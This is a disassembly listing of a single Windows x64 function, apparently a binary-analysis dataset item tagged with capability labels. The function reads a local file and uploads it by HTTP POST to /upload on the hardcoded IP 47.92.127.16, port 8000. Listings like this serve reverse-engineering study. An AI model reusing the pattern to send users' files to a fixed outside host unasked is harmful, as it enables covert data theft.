Function at 0x140003940
Capabilities:
Connect to http server
Create http request
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x40
xor esi, esi
mov r14, rcx
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
lea rcx, str.MyApp
lea edx, [rsi + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x14000398f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetOpen_failed:__d_n
call fcn.1400010b0
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov qword [rsp + 0x38], rsi
lea rdx, str.47.92.127.16
mov dword [rsp + 0x30], esi
mov r8d, 0x1f40
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x68], rdi
call qword [sym.imp.WININET.dll_InternetConnectW]
mov rdi, rax
test rax, rax
jne 0x1400039f8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.InternetConnect_failed:__d_n
call fcn.1400010b0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x68]
xor eax, eax
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret
mov qword [rsp + 0x38], rsi
lea r8, str._upload
mov dword [rsp + 0x30], esi
lea rdx, str.POST
mov qword [rsp + 0x28], rsi
xor r9d, r9d
mov rcx, rdi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x60], rbp
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov rbp, rax
test rax, rax
jne 0x140003a5f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HttpOpenRequest_failed:__d_n
call fcn.1400010b0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x140003bbe
lea rdx, [0x14002ca4c]
mov rcx, r14
call fcn.14000f68c
mov rsi, rax
test rax, rax
jne 0x140003aa7
mov rdx, r14
lea rcx, str.Failed_to_open_file:__ls_n
call fcn.1400010b0
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x140003bbe
xor edx, edx
mov qword [rsp + 0x70], r12
mov rcx, rsi
mov qword [rsp + 0x78], r15
lea r8d, [rdx + 2]
call fcn.14000fd58
mov rcx, rsi
call fcn.14000b09c
xor r8d, r8d
movsxd r12, eax
xor edx, edx
mov rcx, rsi
call fcn.14000fd58
mov rcx, r12
call fcn.140010524
mov r14, rax
test rax, rax
jne 0x140003af5
lea rcx, str.Failed_to_allocate_memory_for_file_content._n
call fcn.1400010b0
jmp 0x140003b51
mov r9, rsi
mov r8, r12
mov edx, 1
mov rcx, r14
call fcn.1400100bc
cmp rax, r12
je 0x140003b1b
lea rcx, str.Failed_to_read_file_content._n
call fcn.1400010b0
jmp 0x140003b49
mov r9, r14
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x140003b78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.HttpSendRequest_failed:__d_n
call fcn.1400010b0
mov rcx, r14
call fcn.14000fe48
mov rcx, rsi
call fcn.14000faec
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x140003bb4
lea rcx, str.File_uploaded_successfully._n
call fcn.1400010b0
mov rcx, r14
call fcn.14000fe48
mov rcx, rsi
call fcn.14000faec
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov r12, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
pop rsi
pop rbx
ret